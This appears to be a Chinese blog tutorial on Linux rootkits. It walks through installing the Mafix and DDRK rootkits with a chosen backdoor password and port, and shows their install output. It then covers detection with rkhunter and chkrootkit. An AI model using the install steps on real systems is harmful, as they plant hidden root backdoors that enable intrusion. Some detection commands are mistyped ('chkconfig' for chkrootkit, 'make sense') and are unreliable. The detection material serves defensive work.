第一:Rootkit
Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。Rootkit必备的基本功能,包括提供root后门,控制内核模块的加载, 隐藏文件,隐藏进程,隐藏网络端口,隐藏内核模块等。Rootkits通常分为:应用级别—内核级别—-硬件级别。
Rootkit是一种奇特的程序,它具有隐身功能:无论静止时(作为文件存在),还是活动时,(作为进程存在),都不会被察觉。换句话说,这种程序可能一直存在于我们的计算机中,但我们却浑然不知,这一功能正是许多人梦寐以求的——不论是计算机黑客,还是计算机取证人员。黑客可以在入侵后置入Rootkit,秘密地窥探敏感信息,或等待时机,伺机而动;取证人员也可以利用Rootkit实时监控嫌疑人员的不法行为,它不仅能搜集证据,还有利于及时采取行动!
Rootkit的目的在于隐藏自己以及不被其他软件发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。
关于rootkit高级玩法请移步:githup
下面我们来玩一款应用级的rootkit工具mafix。
第二:Mafix工具
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。通过Mafix登录进主机后就可以任意操作主机了。其实Mafix就是很典型的应用级Rootkit,是批量替换系统命令来实现的,但因为要替换大量系统命令所以需要root用户才可以使用。
这后门很贱,以前服务器中过一次,所以足够引起你的重视。
下载安装mafix。
1 |
$ tar xvf mafix.tar.gz |
查看一下怎么使用mafix。
1 2 3 4 5 6 7 |
$ cat /mafix/HOW-TO no need to explain how to get it done ./root password port and you are good 2 go ~mafix |
执行root后面跟上密码和端口(这个root文件就是一个shell脚本,有兴趣可以读一遍)。
1 |
$ ./mafix/root 123456 23 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
- the ferrari of rootkits - mafix! > extracting libs... mafix! > backdooring box... grep: /etc/syslog.conf: No such file or directory mafix! > no remote logging found... mafix! > no tripwire was detected.. mafix! > installing trojans... mafix! > hold on... mafix! > Password: 123456 mafix! > Port: 23 mafix! > backdoored some daemons (netstat, ps) mafix! > checking for some vuln daemons.... mafix! > sysinfo: eth0: error fetching interface information: Device not found mafix! > hostname : chenquan-test1 () mafix! > arch: 2015 -+- bogomips : 4199.98 4199.98 ' mafix! > alternative ip: 10.0.60.143 -+- Might be [1 ] active adapters. mafix! > dist: CentOS release 6.8 (Final) mafix! > cleaning up some traces... done! |
执行完这个命令后,你的安装包就会被自动删除了。然后这个mafix的执行程序是/sbin/ttyload,你需要知道的。
接下来你就可以远程连接过来了,用户root,密码123456,端口23,且这个用户在/etc/passwd中是没有的。登录后如下图:
登陆帐号已经变成了root。
第三:DDRK工具
ddrk(DoDo’s Rootkit)是一个Linux结合shv和adore-ng优点的,内核级的rootkit。
1 2 3 4 5 6 |
$ tar xvf DDRK.tgz ddrk/rk.ko #adore-ng编译后的内核模块,实现文件,进程隐藏功能; ddrk/netstat #替换系统的netstat,从ssh配置文件中读取端口,并隐藏; ddrk/tty #adore-ng带的ava工具; ddrk/setup #rootkit安装主文件; ddrk/bin.tgz #sshd主程序和sshd配置文件; |
使用方法
1 |
./setup 123456 24 |
如果不设置用户名和端口,那么setup会利用文件里默认的用户名和密码安装。安装以后,使用ssh客户端远程连上此端口,使用用户名root,密码为设置的密码。登录后可以查看隐藏效果。使用W看当前登录用户,只有本地用户;查看进程和端口号应该都查不到。
第四:Rkhunter工具
Rkhunter的中文名叫“Rootkit猎手”, 目前可以发现大多数已知的rootkits和一些嗅探器以及后门程序。它通过执行一系列的测试脚本来确认服务器是否已经感染rootkits,比如检查rootkits使用的基本文件,可执行二进制文件的错误文件权限,检测内核模块等等。
EPEL源安装rkhunter即可。
1 |
$ yum install rkhunter |
安装后就可以使用rkhunter命令了,下面列出有用的参数:
1 2 3 4 |
--checkall (-c) #全系统检测,rkhunter的所有检测项目; --createlogfile #建立登录档,一般预设放在/var/log/rkhunter.log; --skip-keypress #忽略按键后继续的举动(程序会持续自动执行); --versioncheck #检测试否有新的版本在服务器上; |
接下来运行rkhunter –checkall,连续敲击回车,数分钟后得到报表,如图:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
$ rkhunter --checkall System checks summary ===================== File properties checks... Required commands check failed Files checked: 143 Suspect files: 9 Rootkit checks... Rootkits checked : 390 Possible rootkits: 3 Rootkit names : cb Rootkit, SHV4 Rootkit, SHV5 Rootkit Applications checks... All checks skipped The system checks took: 27 minutes and 59 seconds All results have been written to the log file: /var/log/rkhunter/rkhunter.log One or more warnings have been found while checking the system. Please check the log file (/var/log/rkhunter/rkhunter.log) |
我们从分析报告可以看出,Rkhunter怀疑被篡改的文件有9个,怀疑rootkits有3个,具体再去/var/log/rkhunter/rkhunter.log中查看。
Rkhunter拥有并维护着一个包含rootkit特征的数据库,然后它根据此数据库来检测系统中的rootkits,所以可以对此数据库进行升级,rkhunter –update
1 2 |
$ rkhunter --update [ Rootkit Hunter version 1.4.2 ] |
那么简单来讲,RKhunter就像我们的杀毒软件,有着自己的病毒数据库,对每一个重点命令进行比对,当发现了可疑代码则会提示用户。
第五:Chkrootkit工具
当然如果只是用Rkhunter检查扫描还是不够权威,再来安装一款检查下吧,chkrootkit是一款小巧易用的Unix平台上的可以检测多种rootkit入侵的工具。它的功能包括检测文件修改、utmp/wtmp/last日志修改、界面欺骗(promiscuous interfaces)、恶意核心模块(maliciouskernel modules)。
chkrootkit 在监测 rootkit 是否被安装的过程中,需要使用到一些操作系统本身的命令。但不排除一种情况,那就是入侵者有针对性的已经将 chkrootkit 使用的系统命令也做修改,使得 chkrootkit 无法监测 rootkit ,从而达到即使系统安装了 chkrootkit 也无法检测出 rootkit 的存在,从而依然对系统有着控制的途径,而达到入侵的目的。那样的话,用 chkrootkit 构建入侵监测系统将失去任何意义。对此,我 们在操作系统刚被安装之后,或者说服务器开放之前,让 chkrootkit 就开始工作。而且,在服务器开放之前,备份 chkrootkit 使用的系统命 令,在一些必要的时候(怀疑系统命令已被修改的情况等等),让 chkrootkit 使用初始备份的系统命令进行工作。
使用EPEL源安装chkrootkit即可。
1 |
$ yum install chkrootkit |
接下来使用命令make sense来安装软件即可。
运行命令./chkconfig | grep INFECTED,搜索被感染的文件。
1 |
$ chkconfig | grep INFECTED |
通过上面两款工具的检查,已经确信了服务器被入侵的事实,但已经考虑到核心级rootkits是使用了LKM技术,而且系统中已经有大量的数据被修改且一般的木马后门隐蔽性毕竟高,为了保险起见还是要重新做系统。